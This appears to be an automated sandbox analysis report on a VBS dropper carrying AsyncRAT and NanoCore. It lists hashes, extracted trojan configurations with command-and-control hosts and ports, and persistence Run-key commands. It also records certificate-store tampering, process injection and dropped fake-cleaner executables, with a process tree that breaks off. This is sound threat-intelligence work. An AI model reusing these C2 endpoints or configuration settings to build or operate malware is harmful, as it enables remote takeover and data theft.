asyncrat | c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd

Resubmissions

28-08-2024 22:22

240828-2al3mazana 10

28-08-2024 21:59

28-08-2024 21:42

28-08-2024 00:57

28-08-2024 00:53

27-08-2024 03:06

Analysis

max time kernel
116s
max time network
117s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
28-08-2024 00:57

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs
Size

2.0MB
MD5

3096f8476512077adacad2e66cd9535e
SHA1

8ddfbf4ea1bb26fecb75ff9482529060351f5c82
SHA256

c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd
SHA512

277c34f5300e6e4b2129dd8aae4e68c226dee549601d0fb12323d86588492ea810cbe9ffcecda66c7680f2af6e76a7d7532d7a09d1cd59d639980ae06ac5188f
SSDEEP

24576:9f5HNlz6GydnATwu6JRnDB/4G8jslVZCNct1hMYnnEhKEw7nmlLW+r1/YrK88skH:pNTmJT/QglCN07ir4f6MJk8nO

Score

10^/10

asyncrat nanocore default discovery keylogger persistence rat spyware stealer trojan upx

Malware Config

Extracted

Family

asyncrat

Version

0.5.7B

Botnet

Default

onlineisofilelandersbaseballer1.mrbonus.com:7011

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Extracted

Family

nanocore

Version

1.2.2.0

e-businessloader.mywire.org:5230

127.0.0.1:5230

Mutex

0be0e5d9-4209-4f88-b4fe-27e7b678a0b5

Attributes

activate_away_mode
true
backup_connection_host
127.0.0.1
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2024-03-16T21:32:38.702958636Z
bypass_user_account_control
true
bypass_user_account_control_data
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
5230
default_group
e-business
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
0be0e5d9-4209-4f88-b4fe-27e7b678a0b5
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
e-businessloader.mywire.org
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
true
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	380	3624	cmd.exe	84

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2080 created 3516	2080	c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe	56

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/files/0x000700000002352d-1418.dat	family_asyncrat

Downloads MZ/PE file

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	AdwereCleaner.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	HMBlocker.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	HMBlocker.exe

Executes dropped EXE 9 IoCs

pid	Process
2080	c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe
556	AsyncRATonlineisofilelandersbaseballer1.mrbonus.com7011exe.exe
5948	SpySheriff.exe
5780	AdwereCleaner.exe
1948	6AdwCleaner.exe
5856	HMBlocker.exe
5428	HMBlocker.exe
6136	BlueScreen.exe
5476	BlueScreen.exe

UPX packed file 6 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000700000002356a-1694.dat	upx
behavioral2/memory/5856-1720-0x0000000000400000-0x0000000000420000-memory.dmp	upx
behavioral2/files/0x0009000000023559-1729.dat	upx
behavioral2/memory/6136-1750-0x0000000000400000-0x0000000000409000-memory.dmp	upx
behavioral2/memory/5476-1779-0x0000000000400000-0x0000000000409000-memory.dmp	upx
behavioral2/memory/5428-1782-0x0000000000400000-0x0000000000420000-memory.dmp	upx

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\2503326475_del = "cmd /c del \"C:\\Users\\Admin\\Downloads\\HMBlocker.exe\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ruevjirwl = "C:\\Users\\Admin\\AppData\\Roaming\\Ruevjirwl.vbs"	c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\AdwCleaner = "\"C:\\Users\\Admin\\AppData\\Local\\6AdwCleaner.exe\" -auto"	6AdwCleaner.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\2503326475 = "C:\\Users\\Admin\\2503326475\\2503326475.exe"	reg.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
86	raw.githubusercontent.com
87	raw.githubusercontent.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2080 set thread context of 5976	2080	c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe	121

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 15 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SpySheriff.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HMBlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	shutdown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BlueScreen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AdwereCleaner.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	HMBlocker.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	InstallUtil.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	shutdown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BlueScreen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AsyncRATonlineisofilelandersbaseballer1.mrbonus.com7011exe.exe

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral2/files/0x0007000000023537-1482.dat	nsis_installer_1
behavioral2/files/0x0007000000023537-1482.dat	nsis_installer_2

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4288567808"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1"	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = a6d8ff0076b9ed00429ce3000078d700005a9e000042750000264200f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365271"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292311040"	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292311040"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "91"	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	WScript.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868	6AdwCleaner.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 0400000001000000100000001d3554048578b03f42424dbf20730a3f0f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b00000001000000260000005300650063007400690067006f00200028004100640064005400720075007300740029000000620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff2140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a1d000000010000001000000006f9583c00a763c23fb9e065a3366d557e0000000100000008000000000063f58926d70168000000010000000800000000409120d035d90103000000010000001400000002faf3e291435468607857694df5e45b6885186819000000010000001000000045ed9bbc5e43d3b9ecd63c060db78e5c20000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604	6AdwCleaner.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\02FAF3E291435468607857694DF5E45B68851868\Blob = 5c00000001000000040000000008000019000000010000001000000045ed9bbc5e43d3b9ecd63c060db78e5c03000000010000001400000002faf3e291435468607857694df5e45b6885186868000000010000000800000000409120d035d9017e0000000100000008000000000063f58926d7011d000000010000001000000006f9583c00a763c23fb9e065a3366d55140000000100000014000000adbd987a34b426f7fac42654ef03bde024cb541a620000000100000020000000687fa451382278fff0c8b11f8d43d576671c6eb2bceab413fb83d965d06d2ff20b00000001000000260000005300650063007400690067006f0020002800410064006400540072007500730074002900000053000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f000000010000001400000009b9105c5bba24343ca7f341c624e183f6ee7c1b0400000001000000100000001d3554048578b03f42424dbf20730a3f20000000010000003a040000308204363082031ea003020102020101300d06092a864886f70d0101050500306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74301e170d3030303533303130343833385a170d3230303533303130343833385a306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f7430820122300d06092a864886f70d01010105000382010f003082010a0282010100b7f71a33e6f200042d39e04e5bed1fbc6c0fcdb5fa23b6cede9b113397a4294c7d939fbd4abc93ed031ae38fcfe56d505ad69729945a80b0497adb2e95fdb8cabf37382d1e3e9141ad7056c7f04f3fe8329e74cac89054e9c65f0f789d9a403c0eac61aa5e148f9e87a16a50dcd79a4eaf05b3a671949c71b350600ac7139d38078602a8e9a869261890ab4cb04f23ab3a4f84d8dfce9fe1696fbbd742d76b44e4c7adee6d415f725a710837b37965a459a09437f7002f0dc29272dad03872db14a845c45d2a7db7b4d6c4eeaccd1344b7c92bdd430025fa61b9696a582311b7a7338f567559f5cd29d746b70a2b65b6d3426f15b2b87bfbefe95d53d5345a270203010001a381dc3081d9301d0603551d0e04160414adbd987a34b426f7fac42654ef03bde024cb541a300b0603551d0f040403020106300f0603551d130101ff040530030101ff3081990603551d2304819130818e8014adbd987a34b426f7fac42654ef03bde024cb541aa173a471306f310b300906035504061302534531143012060355040a130b416464547275737420414231263024060355040b131d41646454727573742045787465726e616c20545450204e6574776f726b312230200603550403131941646454727573742045787465726e616c20434120526f6f74820101300d06092a864886f70d01010505000382010100b09be08525c2d623e20f9606929d41989cd9847981d91e5b14072336658fb0d877bbac416c47608351b0f9323de7fcf62613c78016a5bf5afc87cf787989219ae24c070a8635bcf2de51c4d296b7dc7e4eee70fd1c39eb0c0251142d8ebd16e0c1df4675e724adecf442b48593701067ba9d06354a18d32b7acc5142a17a63d1e6bba1c52bc236be130de6bd637e797ba7090d40ab6add8f8ac3f6f68c1a420551d445f59fa76221681520433c99e77cbd24d8a9911773883f561b313818b4710f9acdc80e9e8e2e1be18c9883cb1f31f1444cc604734976600fc7f8bd17806b2ee9cc4c0e5a9a790f200a2ed59e63261e559294d882175a7bd0bcc78f4e8604	6AdwCleaner.exe

NTFS ADS 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 164144.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 846345.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 751983.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 685409.crdownload:SmartScreen	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2080	c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe
2080	c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe
5016	msedge.exe
5016	msedge.exe
2832	msedge.exe
2832	msedge.exe
5720	identity_helper.exe
5720	identity_helper.exe
2080	c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe
2080	c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5812	msedge.exe
5812	msedge.exe
452	msedge.exe
452	msedge.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe
5976	InstallUtil.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
5976	InstallUtil.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

pid	Process
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	2080	c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe
Token: SeDebugPrivilege	2080	c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe
Token: SeDebugPrivilege	5976	InstallUtil.exe
Token: SeDebugPrivilege	1948	6AdwCleaner.exe
Token: SeShutdownPrivilege	2140	shutdown.exe
Token: SeRemoteShutdownPrivilege	2140	shutdown.exe
Token: SeShutdownPrivilege	3532	shutdown.exe
Token: SeRemoteShutdownPrivilege	3532	shutdown.exe
Token: SeDebugPrivilege	5976	InstallUtil.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe
2832	msedge.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
1948	6AdwCleaner.exe
1948	6AdwCleaner.exe
3680	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2028 wrote to memory of 2080	2028	WScript.exe	92
PID 2028 wrote to memory of 2080	2028	WScript.exe	92
PID 2028 wrote to memory of 2080	2028	WScript.exe	92
PID 2832 wrote to memory of 1336	2832	msedge.exe	98
PID 2832 wrote to memory of 1336	2832	msedge.exe	98
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 4516	2832	msedge.exe	99
PID 2832 wrote to memory of 5016	2832	msedge.exe	100
PID 2832 wrote to memory of 5016	2832	msedge.exe	100
PID 2832 wrote to memory of 1632	2832	msedge.exe	101
PID 2832 wrote to memory of 1632	2832	msedge.exe	101
PID 2832 wrote to memory of 1632	2832	msedge.exe	101
PID 2832 wrote to memory of 1632	2832	msedge.exe	101
PID 2832 wrote to memory of 1632	2832	msedge.exe	101
PID 2832 wrote to memory of 1632	2832	msedge.exe	101
PID 2832 wrote to memory of 1632	2832	msedge.exe	101
PID 2832 wrote to memory of 1632	2832	msedge.exe	101
PID 2832 wrote to memory of 1632	2832	msedge.exe	101
PID 2832 wrote to memory of 1632	2832	msedge.exe	101
PID 2832 wrote to memory of 1632	2832	msedge.exe	101
PID 2832 wrote to memory of 1632	2832	msedge.exe	101
PID 2832 wrote to memory of 1632	2832	msedge.exe	101
PID 2832 wrote to memory of 1632	2832	msedge.exe	101
PID 2832 wrote to memory of 1632	2832	msedge.exe	101
PID 2832 wrote to memory of 1632	2832	msedge.exe	101
PID 2832 wrote to memory of 1632	2832	msedge.exe	101

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3516
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs"
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:2028
- - C:\Users\Admin\AppData\Local\Temp\c4b066fb890720e472c5620375ee0d24dddfb222a5c8384c8613e486ec38cbbd.vbs.exe
